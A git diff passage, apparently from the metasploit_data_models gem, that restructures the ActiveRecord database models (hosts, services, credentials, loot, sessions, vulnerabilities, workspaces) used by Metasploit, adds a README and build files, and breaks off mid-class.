eval("KEY_ID_REGEX = /([0-9a-fA-F:]{47})/") unless defined?(KEY_ID_REGEX) # Could be more strict
def ptype_human
humanized = PTYPES.select do |k, v|
v == ptype
end.keys[0]
humanized ? humanized : ptype
end
# Returns its workspace
def workspace
self.service.host.workspace
end
# Returns its key id. If this is not an ssh-type key, returns nil.
def ssh_key_id
return nil unless self.ptype =~ /^ssh_/
return nil unless self.proof =~ KEY_ID_REGEX
$1.downcase # Can't run into NilClass problems.
end
# Returns all private keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_private_keys
return [] unless self.ssh_key_id
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_key", "%#{self.ssh_key_id}%"])
matches.select {|c| c.workspace == self.workspace}
end
# Returns all public keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_public_keys
return [] unless self.ssh_key_id
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_pubkey", "%#{self.ssh_key_id}%"])
matches.select {|c| c.workspace == self.workspace}
end
# Returns all keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_keys
(self.ssh_private_keys | self.ssh_public_keys)
end
def ssh_key_matches?(other_cred)
return false unless other_cred.kind_of? self.class
return false unless self.ptype == other_cred.ptype
case self.ptype
when "ssh_key"
matches = self.ssh_private_keys
when "ssh_pubkey"
matches = self.ssh_public_keys
else
false
end
matches.include?(self) and matches.include?(other_cred)
end
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::CredFile
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
}
end
end

View File

@ -1,16 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Event
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
belongs_to :host
serialize :info, ::MetasploitDataModels::Base64Serializer.new
scope :flagged, where(:critical => true, :seen => false)
scope :module_run, where(:name => 'module_run')
validates_presence_of :name
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ExploitAttempt
def self.included(base)
base.class_eval {
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :exploit_attempt_count
validates :host_id, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ExploitedHost
def self.included(base)
base.class_eval{
belongs_to :host, :class_name => "Mdm::Host"
belongs_to :service, :class_name => "Mdm::Service"
belongs_to :workspace, :class_name => "Mdm::Workspace"
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::HostDetail
def self.included(base)
base.class_eval {
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :host_detail_count
validates :host_id, :presence => true
}
end
end

View File

@ -1,10 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::HostTag
def self.included(base)
base.class_eval {
base.table_name = "hosts_tags"
belongs_to :host, :class_name => "Mdm::Host"
belongs_to :tag, :class_name => "Mdm::Tag"
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ImportedCred
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
}
end
end

View File

@ -1,14 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Listener
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
belongs_to :task, :class_name => "Mdm::Task"
serialize :options, ::MetasploitDataModels::Base64Serializer.new
validates :address, :presence => true, :ip_format => true
validates :port, :presence => true
}
end
end

View File

@ -1,35 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Loot
def self.included(base)
base.class_eval {
belongs_to :workspace, :class_name => "Mdm::Workspace"
belongs_to :host, :class_name => "Mdm::Host"
belongs_to :service, :class_name => "Mdm::Service"
serialize :data, ::MetasploitDataModels::Base64Serializer.new
before_destroy :delete_file
scope :search, lambda { |*args|
where(["loots.ltype ILIKE ? OR " +
"loots.name ILIKE ? OR " +
"loots.info ILIKE ? OR " +
"loots.data ILIKE ?",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
])
}
private
def delete_file
c = Pro::Client.get rescue nil
if c
c.loot_delete_file(self[:id])
else
::File.unlink(self.path) rescue nil
end
end
}
end
end

View File

@ -1,15 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Macro
def self.included(base)
base.class_eval{
extend MetasploitDataModels::SerializedPrefs
serialize :actions, ::MetasploitDataModels::Base64Serializer.new
serialize :prefs, ::MetasploitDataModels::Base64Serializer.new
serialized_prefs_attr_accessor :max_time
validates :name, :presence => true, :format => /^[^'|"]+$/
}
end
end

View File

@ -1,6 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModRef
def self.included(base)
base.class_eval{
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleAction
def self.included(base)
base.class_eval{
base.table_name = "module_actions"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleArch
def self.included(base)
base.class_eval{
base.table_name = "module_archs"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleAuthor
def self.included(base)
base.class_eval{
base.table_name = "module_authors"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,67 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleDetail
def self.included(base)
base.class_eval {
base.table_name = "module_details"
has_many :authors, :class_name => "Mdm::ModuleAuthor", :dependent => :destroy, :source => :module_author
has_many :mixins, :class_name => "Mdm::ModuleMixin", :dependent => :destroy, :source => :module_mixin
has_many :targets, :class_name => "Mdm::ModuleTarget", :dependent => :destroy, :source => :module_target
has_many :actions, :class_name => "Mdm::ModuleAction", :dependent => :destroy, :source => :module_action
has_many :refs, :class_name => "Mdm::ModuleRef", :dependent => :destroy, :source => :module_ref
has_many :archs, :class_name => "Mdm::ModuleArch", :dependent => :destroy, :source => :module_arch
has_many :platforms, :class_name => "Mdm::ModulePlatform", :dependent => :destroy, :source => :module_platform
validate :refname, :presence => true
validates_associated :authors
validates_associated :mixins
validates_associated :targets
validates_associated :actions
validates_associated :archs
validates_associated :platforms
validates_associated :refs
def add_author(name, email=nil)
if email
r = self.authors.build(:name => name, :email => email).save
else
self.authors.build(:name => name).save
end
end
def add_mixin(name)
self.mixins.build(:name => name).save
end
def add_target(idx, name)
self.targets.build(:index => idx, :name => name).save
end
def add_action(name)
self.actions.build(:name => name).save
end
def add_ref(name)
self.refs.build(:name => name).save
end
def add_arch(name)
self.archs.build(:name => name).save
end
def add_platform(name)
self.platforms.build(:name => name).save
end
def before_destroy
Mdm::ModuleAuthor.delete_all('module_detail_id = ?', self.id)
Mdm::ModuleMixin.delete_all('module_detail_id = ?', self.id)
Mdm::ModuleTarget.delete_all('module_detail_id = ?', self.id)
Mdm::ModuleAction.delete_all('module_detail_id = ?', self.id)
Mdm::ModuleRef.delete_all('module_detail_id = ?', self.id)
Mdm::ModuleArch.delete_all('module_detail_id = ?', self.id)
Mdm::ModulePlatform.delete_all('module_detail_id = ?', self.id)
end
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleMixin
def self.included(base)
base.class_eval{
base.table_name = "module_mixins"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModulePlatform
def self.included(base)
base.class_eval{
base.table_name = "module_platforms"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleRef
def self.included(base)
base.class_eval{
base.table_name = "module_refs"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleTarget
def self.included(base)
base.class_eval{
base.table_name = "module_targets"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,14 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::NexposeConsole
def self.included(base)
base.class_eval{
serialize :cached_sites, ::MetasploitDataModels::Base64Serializer.new
validates :name, :presence => true
validates :address, :presence => true
validates :username, :presence => true
validates :password, :presence => true
validates :port, :inclusion => {:in => 1..65535}
}
end
end

View File

@ -1,34 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Note
def self.included(base)
base.class_eval{
notes = base.arel_table
belongs_to :workspace, :class_name => "Mdm::Workspace"
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :note_count
belongs_to :service, :class_name => "Mdm::Service"
serialize :data, ::MetasploitDataModels::Base64Serializer.new
scope :flagged, where('critical = true AND seen = false')
scope :visible, where(notes[:ntype].not_in(['web.form', 'web.url', 'web.vuln']))
scope :search, lambda { |*args|
where(["(data NOT ILIKE 'BAh7%' AND data LIKE ?)" +
"OR (data ILIKE 'BAh7%' AND decode(data, 'base64') LIKE ?)" +
"OR ntype ILIKE ?",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
])
}
after_save :normalize
private
def normalize
if data_changed? and ntype =~ /fingerprint/
host.normalize_os
end
end
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Profile
def self.included(base)
base.class_eval{
serialize :settings, ::MetasploitDataModels::Base64Serializer.new
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Ref
def self.included(base)
base.class_eval{
has_many :vulns, :through => :vulns_refs, :class_name => "Mdm::Vuln"
has_many :vulns_refs, :class_name => "Mdm::VulnRef"
}
end
end

View File

@ -1,29 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Report
def self.included(base)
base.class_eval {
belongs_to :workspace, :class_name => "Mdm::Workspace"
serialize :options, ::MetasploitDataModels::Base64Serializer.new
validates_format_of :name, :with => /^[A-Za-z0-9\x20\x2e\x2d\x5f\x5c]+$/, :message => "name must consist of A-Z, 0-9, space, dot, underscore, or dash", :allow_blank => true
serialize :options, MetasploitDataModels::Base64Serializer.new
before_destroy :delete_file
scope :flagged, where('reports.downloaded_at is NULL')
private
def delete_file
c = Pro::Client.get rescue nil
if c
c.report_delete_file(self[:id])
else
::File.unlink(self.path) rescue nil
end
end
}
end
end

View File

@ -1,22 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ReportTemplate
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
before_destroy :delete_file
private
def delete_file
c = Pro::Client.get rescue nil
if c
c.report_template_delete_file(self[:id])
else
::File.unlink(self.path) rescue nil
end
end
}
end
end

View File

@ -1,7 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Route
def self.included(base)
base.class_eval{
belongs_to :session, :class_name => "Mdm::Session"
}
end
end

View File

@ -1,42 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Service
def self.included(base)
base.class_eval{
eval("STATES = ['open', 'closed', 'filtered', 'unknown']") unless defined? STATES
has_many :vulns, :dependent => :destroy, :class_name => "Mdm::Vuln"
has_many :notes, :dependent => :destroy, :class_name => "Mdm::Note"
has_many :creds, :dependent => :destroy, :class_name => "Mdm::Cred"
has_many :exploited_hosts, :dependent => :destroy, :class_name => "Mdm::ExploitedHost"
has_many :web_sites, :dependent => :destroy, :class_name => "Mdm::WebSite"
has_many :web_pages, :through => :web_sites, :class_name => "Mdm::WebPage"
has_many :web_forms, :through => :web_sites, :class_name => "Mdm::WebForm"
has_many :web_vulns, :through => :web_sites, :class_name => "Mdm::WebVuln"
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :service_count
has_many :web_pages, :through => :web_sites
has_many :web_forms, :through => :web_sites
has_many :web_vulns, :through => :web_sites
scope :inactive, where("services.state != 'open'")
scope :with_state, lambda { |a_state| where("services.state = ?", a_state)}
scope :search, lambda { |*args|
where([
"services.name ILIKE ? OR " +
"services.info ILIKE ? OR " +
"services.proto ILIKE ? OR " +
"services.port = ? ",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
])
}
after_save :normalize_host_os
def normalize_host_os
if info_changed?
host.normalize_os
end
end
}
end
end

View File

@ -1,33 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Session
def self.included(base)
base.class_eval {
belongs_to :host, :class_name => "Mdm::Host"
has_one :workspace, :through => :host, :class_name => "Mdm::Workspace"
has_many :events, :class_name => "Mdm::SessionEvent", :order => "created_at", :dependent => :delete_all
has_many :routes, :class_name => "Mdm::Route", :dependent => :delete_all
scope :alive, where("closed_at IS NULL")
scope :dead, where("closed_at IS NOT NULL")
scope :upgradeable, where("closed_at IS NULL AND stype = 'shell' and platform ILIKE '%win%'")
serialize :datastore, ::MetasploitDataModels::Base64Serializer.new
before_destroy :stop
def upgradeable?
(self.platform =~ /win/ and self.stype == 'shell')
end
private
def stop
c = Pro::Client.get rescue nil
c.session_stop(self.local_id) rescue nil # ignore exceptions (XXX - ideally, stopped an already-stopped session wouldn't throw XMLRPCException)
end
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::SessionEvent
def self.included(base)
base.class_eval{
belongs_to :session, :class_name => "Mdm::Session"
}
end
end

View File

@ -1,27 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Tag
def self.included(base)
base.class_eval {
has_many :hosts_tags, :class_name => "Mdm::HostTag"
has_many :hosts, :through => :hosts_tags, :class_name => "Mdm::Host"
belongs_to :user, :class_name => "Mdm::User"
validates :name, :presence => true, :format => {
:with => /^[A-Za-z0-9\x2e\x2d_]+$/, :message => "must be alphanumeric, dots, dashes, or underscores"
}
validates :desc, :length => {:maximum => 8191, :message => "desc must be less than 8k."}
before_destroy :cleanup_hosts
def to_s
name
end
def cleanup_hosts
# Clean up association table records
Mdm::HostTag.delete_all("tag_id = #{self.id}")
end
}
end
end

View File

@ -1,28 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Task
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
serialize :options, ::MetasploitDataModels::Base64Serializer.new
serialize :result, ::MetasploitDataModels::Base64Serializer.new
serialize :settings, ::MetasploitDataModels::Base64Serializer.new
scope :running, order( "created_at DESC" ).where("completed_at IS NULL")
before_destroy :delete_file
private
def delete_file
c = Pro::Client.get rescue nil
if c
c.task_delete_log(self[:id]) if c
else
::File.unlink(self.path) rescue nil
end
end
}
end
end

View File

@ -1,23 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::User
def self.included(base)
base.class_eval {
extend MetasploitDataModels::SerializedPrefs
serialize :prefs, ::MetasploitDataModels::Base64Serializer.new
has_and_belongs_to_many :workspaces, :join_table => "workspace_members", :uniq => true, :class_name => "Mdm::Workspace"
has_many :owned_workspaces, :foreign_key => "owner_id", :class_name => "Mdm::Workspace"
has_many :tags, :class_name => "Mdm::Tag"
validates :password, :password_is_strong => true
validates :password_confirmation, :password_is_strong => true
serialized_prefs_attr_accessor :nexpose_host, :nexpose_port, :nexpose_user, :nexpose_pass, :nexpose_creds_type, :nexpose_creds_user, :nexpose_creds_pass
serialized_prefs_attr_accessor :http_proxy_host, :http_proxy_port, :http_proxy_user, :http_proxy_pass
serialized_prefs_attr_accessor :time_zone, :session_key
serialized_prefs_attr_accessor :last_login_address # specifically NOT last_login_ip to prevent confusion with AuthLogic magic columns (which dont work for serialized fields)
}
end
end

View File

@ -1,38 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Vuln
def self.included(base)
base.class_eval {
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :vuln_count
belongs_to :service, :class_name => "Mdm::Service", :foreign_key => :service_id
has_many :vuln_details, :dependent => :destroy, :class_name => "Mdm::VulnDetail"
has_many :vuln_attempts, :dependent => :destroy, :class_name => "Mdm::VulnAttempt"
has_many :vulns_refs, :class_name => "Mdm::VulnRef"
has_many :refs, :through => :vulns_refs, :class_name => "Mdm::Ref"
validates :name, :presence => true
validates_associated :refs
after_update :save_refs
scope :search, lambda { |*args|
where(["(vulns.name ILIKE ? or vulns.info ILIKE ? or refs.name ILIKE ?)",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
]).
joins("LEFT OUTER JOIN vulns_refs ON vulns_refs.vuln_id=vulns.id LEFT OUTER JOIN refs ON refs.id=vulns_refs.ref_id")
}
private
def save_refs
refs.each { |ref| ref.save(:validate => false) }
end
def before_destroy
Mdm::VulnRef.delete_all('vuln_id = ?', self.id)
Mdm::VulnDetail.delete_all('vuln_id = ?', self.id)
Mdm::VulnAttempt.delete_all('vuln_id = ?', self.id)
end
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::VulnAttempt
def self.included(base)
base.class_eval {
belongs_to :vuln, :class_name => "Mdm::Vuln", :counter_cache => :vuln_attempt_count
validates :vuln_id, :presence => true
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::VulnDetail
def self.included(base)
base.class_eval {
belongs_to :vuln, :class_name => "Mdm::Vuln", :counter_cache => :vuln_detail_count
validates :vuln_id, :presence => true
}
end
end

View File

@ -1,10 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::VulnRef
def self.included(base)
base.class_eval {
base.table_name = "vulns_refs"
belongs_to :ref
belongs_to :vuln
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::WebForm
def self.included(base)
base.class_eval{
belongs_to :web_site, :class_name => "Mdm::WebSite"
serialize :params, ::MetasploitDataModels::Base64Serializer.new
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::WebPage
def self.included(base)
base.class_eval{
belongs_to :web_site, :class_name => "Mdm::WebSite"
serialize :headers, ::MetasploitDataModels::Base64Serializer.new
}
end
end

View File

@ -1,41 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::WebSite
def self.included(base)
base.class_eval {
belongs_to :service, :class_name => "Mdm::Service", :foreign_key => "service_id"
has_many :web_pages, :dependent => :destroy, :class_name => "Mdm::WebPage"
has_many :web_forms, :dependent => :destroy, :class_name => "Mdm::WebForm"
has_many :web_vulns, :dependent => :destroy, :class_name => "Mdm::WebVuln"
serialize :options, ::MetasploitDataModels::Base64Serializer.new
def to_url(ignore_vhost=false)
proto = self.service.name == "https" ? "https" : "http"
host = ignore_vhost ? self.service.host.address : self.vhost
port = self.service.port
if Rex::Socket.is_ipv6?(host)
host = "[#{host}]"
end
url = "#{proto}://#{host}"
if not ((proto == "http" and port == 80) or (proto == "https" and port == 443))
url += ":#{port}"
end
url
end
def page_count
web_pages.size
end
def form_count
web_forms.size
end
def vuln_count
web_vulns.size
end
} # end class_eval block
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::WebVuln
def self.included(base)
base.class_eval{
belongs_to :web_site, :class_name => "Mdm::WebSite"
serialize :params, ::MetasploitDataModels::Base64Serializer.new
}
end
end

View File

@ -1,6 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::WmapRequest
def self.included(base)
base.class_eval{
}
end
end

View File

@ -1,6 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::WmapTarget
def self.included(base)
base.class_eval{
}
end
end

View File

@ -1,184 +0,0 @@
# NOTE: this AR model is called "Project" on the Pro side
module MetasploitDataModels::ActiveRecordModels::Workspace
def self.included(base)
base.class_eval{
# Usage of the evil eval avoids dynamic constant assignment
# exception when this module is included
eval('DEFAULT = "default"') unless defined? DEFAULT
has_many :hosts, :dependent => :destroy, :class_name => "Mdm::Host"
has_many :services, :through => :hosts, :class_name => "Mdm::Service", :foreign_key => "service_id"
has_many :notes, :class_name => "Mdm::Note"
has_many :loots, :through => :hosts, :class_name => "Mdm::Loot"
has_many :events, :class_name => "Mdm::Event"
has_many :reports, :dependent => :destroy, :class_name => "Mdm::Report"
has_many :report_templates, :dependent => :destroy, :class_name => "Mdm::ReportTemplate"
has_many :tasks, :dependent => :destroy, :class_name => "Mdm::Task", :order => "created_at DESC"
has_many :clients, :through => :hosts, :class_name => "Mdm::Client"
has_many :vulns, :through => :hosts, :class_name => "Mdm::Vuln"
has_many :creds, :through => :services, :class_name => "Mdm::Cred"
has_many :imported_creds, :dependent => :destroy, :class_name => "Mdm::ImportedCred"
has_many :exploited_hosts, :through => :hosts, :class_name => "Mdm::ExploitedHost"
has_many :sessions, :through => :hosts, :class_name => "Mdm::Session"
has_many :cred_files, :dependent => :destroy, :class_name => "Mdm::CredFile"
has_many :listeners, :dependent => :destroy, :class_name => "Mdm::Listener"
belongs_to :owner, :class_name => "Mdm::User", :foreign_key => "owner_id"
has_and_belongs_to_many :users, :join_table => "workspace_members", :uniq => true, :class_name => "Mdm::User"
before_save :normalize
validates :name, :presence => true, :uniqueness => true, :length => {:maximum => 255}
validates :description, :length => {:maximum => 4096}
validate :boundary_must_be_ip_range
def web_sites
query = <<-EOQ
SELECT DISTINCT web_sites.*
FROM hosts, services, web_sites
WHERE hosts.workspace_id = #{id} AND
services.host_id = hosts.id AND
web_sites.service_id = services.id
EOQ
Mdm::WebSite.find_by_sql(query)
end
def web_pages
query = <<-EOQ
SELECT DISTINCT web_pages.*
FROM hosts, services, web_sites, web_pages
WHERE hosts.workspace_id = #{id} AND
services.host_id = hosts.id AND
web_sites.service_id = services.id AND
web_pages.web_site_id = web_sites.id
EOQ
Mdm::WebPage.find_by_sql(query)
end
def web_forms
query = <<-EOQ
SELECT DISTINCT web_forms.*
FROM hosts, services, web_sites, web_forms
WHERE hosts.workspace_id = #{id} AND
services.host_id = hosts.id AND
web_sites.service_id = services.id AND
web_forms.web_site_id = web_sites.id
EOQ
Mdm::WebForm.find_by_sql(query)
end
def unique_web_forms
query = <<-EOQ
SELECT DISTINCT web_forms.web_site_id, web_forms.path, web_forms.method, web_forms.query
FROM hosts, services, web_sites, web_forms
WHERE hosts.workspace_id = #{id} AND
services.host_id = hosts.id AND
web_sites.service_id = services.id AND
web_forms.web_site_id = web_sites.id
EOQ
Mdm::WebForm.find_by_sql(query)
end
def web_vulns
query = <<-EOQ
SELECT DISTINCT web_vulns.*
FROM hosts, services, web_sites, web_vulns
WHERE hosts.workspace_id = #{id} AND
services.host_id = hosts.id AND
web_sites.service_id = services.id AND
web_vulns.web_site_id = web_sites.id
EOQ
Mdm::WebVuln.find_by_sql(query)
end
def self.default
find_or_create_by_name(DEFAULT)
end
def default?
name == DEFAULT
end
def creds
Mdm::Cred.find(
:all,
:include => {:service => :host},
:conditions => ["hosts.workspace_id = ?", self.id]
)
end
def host_tags
Mdm::Tag.find(
:all,
:include => :hosts,
:conditions => ["hosts.workspace_id = ?", self.id]
)
end
#
# This method iterates the creds table calling the supplied block with the
# cred instance of each entry.
#
def each_cred(&block)
creds.each do |cred|
block.call(cred)
end
end
def each_host_tag(&block)
host_tags.each do |host_tag|
block.call(host_tag)
end
end
def web_unique_forms(addrs=nil)
forms = unique_web_forms
if addrs
forms.reject!{|f| not addrs.include?( f.web_site.service.host.address ) }
end
forms
end
def boundary_must_be_ip_range
errors.add(:boundary, "must be a valid IP range") unless valid_ip_or_range?(boundary)
end
#
# If limit_to_network is disabled, this will always return true.
# Otherwise, return true only if all of the given IPs are within the project
# boundaries.
#
def allow_actions_on?(ips)
return true unless limit_to_network
return true unless boundary
return true if boundary.empty?
boundaries = Shellwords.split(boundary)
return true if boundaries.empty? # It's okay if there is no boundary range after all
given_range = Rex::Socket::RangeWalker.new(ips)
return false unless given_range # Can't do things to nonexistant IPs
allowed = false
boundaries.each do |boundary_range|
ok_range = Rex::Socket::RangeWalker.new(boundary)
allowed = true if ok_range.include_range? given_range
end
return allowed
end
private
def valid_ip_or_range?(string)
begin
Rex::Socket::RangeWalker.new(string)
rescue
return false
end
end
def normalize
boundary.strip! if boundary
end
} # end class_eval block
end
end

View File

@ -1,3 +0,0 @@
module MetasploitDataModels
VERSION = "0.0.2"
end

View File

@ -1,25 +0,0 @@
# -*- encoding: utf-8 -*-
$:.push File.expand_path("../lib", __FILE__)
require "metasploit_data_models/version"
Gem::Specification.new do |s|
s.name = "metasploit_data_models"
s.version = "0.0.2.43DEV" # This gemspec is linked to metasploit releases and follows trunk
s.authors = ["Trevor Rosen"]
s.email = ["trevor_rosen@rapid7.com"]
s.homepage = ""
s.summary = %q{Database code for MSF and Metasploit Pro}
s.description = %q{Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions.}
s.files = `git ls-files`.split("\n")
s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n")
s.executables = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) }
s.require_paths = ["lib"]
# ---- Dependencies ----
s.add_development_dependency "rspec"
s.add_runtime_dependency "activerecord"
s.add_runtime_dependency "activesupport"
s.add_runtime_dependency "pg"
s.add_runtime_dependency "pry"
end

View File

@ -1 +0,0 @@
require File.expand_path(File.dirname(__FILE__) + "/../lib/msf_models")

View File

@ -0,0 +1,18 @@
# bundler configuration
.bundle
# Mac OS X folder attributes
.DS_Store
# built gems
*.gem
# Rubymine project configuration
.idea
# Don't check in rvmrc since this is a gem
.rvmrc
# Installed gem versions. Not stored for the same reasons as .rvmrc
Gemfile.lock
# Packaging directory for builds
pkg/*
# Database configuration (with passwords) for specs
spec/dummy/config/database.yml
# logs
*.log

View File

@ -0,0 +1,10 @@
source "http://rubygems.org"
# Specify your gem's dependencies in metasploit_data_models.gemspec
gemspec
group :test do
# rails is only used for testing with a dummy application in spec/dummy
gem 'rails'
gem 'rspec-rails'
end

View File

@ -0,0 +1,72 @@
#MetasploitDataModels
The database layer for Metasploit
## Purpose
__MetasploitDataModels__ exists to do several key things:
1. Allow code sharing between Metasploit Framework (MSF) and the commercial versions of Metasploit (Community, Express, Pro -- usually referred to collectively as "Pro")
2. Give developers a lightweight entry point to MSF's backend for use in developing tools that gather data intended for later use with Metasploit (e.g. specialized scanners).
3. Make it easy to keep commercial stuff private while increasing the functionality of the open-source tools we provide to the community.
## Usage
### Rails
In a Rails application, MetasploitDataModels acts a
[Rails Engine](http://edgeapi.rubyonrails.org/classes/Rails/Engine.html) and the models are available to application
just as if they were defined under app/models. If your Rails appliation needs to modify the models, this can be done
using ActiveSupport.on_load hooks in initializers. The block passed to on_load hook is evaluated in the context of the
model class, so defining method and including modules will work just like reopeninng the class, but
ActiveSupport.on_load ensures that the monkey patches will work after reloading in development mode. Each class has a
different on_load name, which is just the class name converted to an underscored symbol, so Mdm::ApiKey runs the
:mdm_api_key load hooks, etc.
# Gemfile
gem :metasploiit_data_models, :git => git://github.com/rapid7/metasploit_data_models.git, :tag => 'v0.3.0'
# config/initializers/metasploit_data_models.rb
ActiveSupport.on_load(:mdm_api_key) do
# Returns the String obfuscated token for display. Meant to avoid CSRF
# api-key stealing attackes.
def obfuscated_token
token[0..3] + "****************************"
end
end
### Metasploit Framework
In Metasploit Framework, `MetasploitDataModels.require_models` is called by the `Msf::DbManager` to use the data models
only if the user wants to use the database.
### Elsewhere
__NOTE: This isn't in RubyGems yet. Using a Gemfile entry pointing to this repo (i.e., using
[Bundler](http://gembundler.com)) is the suggested option for now.__
Usage outside of Rapid7 is still alpha, as reflected in the pre-1.0.0 version, and we're not making many promises. That
being said, usage is easy:
connection_info = YAML.load_file("path/to/rails-style/db_config_file")
ActiveRecord::Base.establish_connection(connection_info['development'])
MetasploitDataModels.require_models
Basically you need to do the following things:
1. Establish an ActiveRecord connection. A Rails __config/database.yml__ is ideal for this.
2. `MetasploitDataModels.require_models`
## Developer Info
### Console
The gem includes a console based on [Pry](https://github.com/pry/pry/)
Give it a path to a working MSF database.yml file for full
ActiveRecord-based access to your data.
__Note:__ "development" mode is hardcoded into the console currently.

View File

@ -0,0 +1,7 @@
require 'bundler/gem_tasks'
require 'rspec/core/rake_task'
RSpec::Core::RakeTask.new(:spec)
task :default => :spec

View File

@ -0,0 +1,20 @@
class Mdm::ApiKey < ActiveRecord::Base
#
# Validators
#
validate :supports_api
validates :token, :presence => true, :length => { :minimum => 8 }
protected
def supports_api
license = License.get
if license and not license.supports_api?
errors[:license] = " - this product does not support API access"
end
end
ActiveSupport.run_load_hooks(:mdm_api_key, self)
end

View File

@ -0,0 +1,9 @@
class Mdm::Client < ActiveRecord::Base
#
# Relations
#
belongs_to :campaign, :class_name => 'Mdm::Campaign'
belongs_to :host, :class_name => 'Mdm::Host'
ActiveSupport.run_load_hooks(:mdm_client, self)
end

View File

@ -0,0 +1,80 @@
class Mdm::Cred < ActiveRecord::Base
#
# CONSTANTS
#
KEY_ID_REGEX = /([0-9a-fA-F:]{47})/
PTYPES = {
'read/write password' => 'password_rw',
'read-only password' => 'password_ro',
'SMB hash' => 'smb_hash',
'SSH private key' => 'ssh_key',
'SSH public key' => 'ssh_pubkey'
}
#
# Relations
#
belongs_to :service, :class_name => "Mdm::Service"
def ptype_human
humanized = PTYPES.select do |k, v|
v == ptype
end.keys[0]
humanized ? humanized : ptype
end
# Returns its key id. If this is not an ssh-type key, returns nil.
def ssh_key_id
return nil unless self.ptype =~ /^ssh_/
return nil unless self.proof =~ KEY_ID_REGEX
$1.downcase # Can't run into NilClass problems.
end
def ssh_key_matches?(other_cred)
return false unless other_cred.kind_of? self.class
return false unless self.ptype == other_cred.ptype
case self.ptype
when "ssh_key"
matches = self.ssh_private_keys
when "ssh_pubkey"
matches = self.ssh_public_keys
else
false
end
matches.include?(self) and matches.include?(other_cred)
end
# Returns all keys with matching key ids, including itself
# If this is not an ssh-type key, always returns an empty array.
def ssh_keys
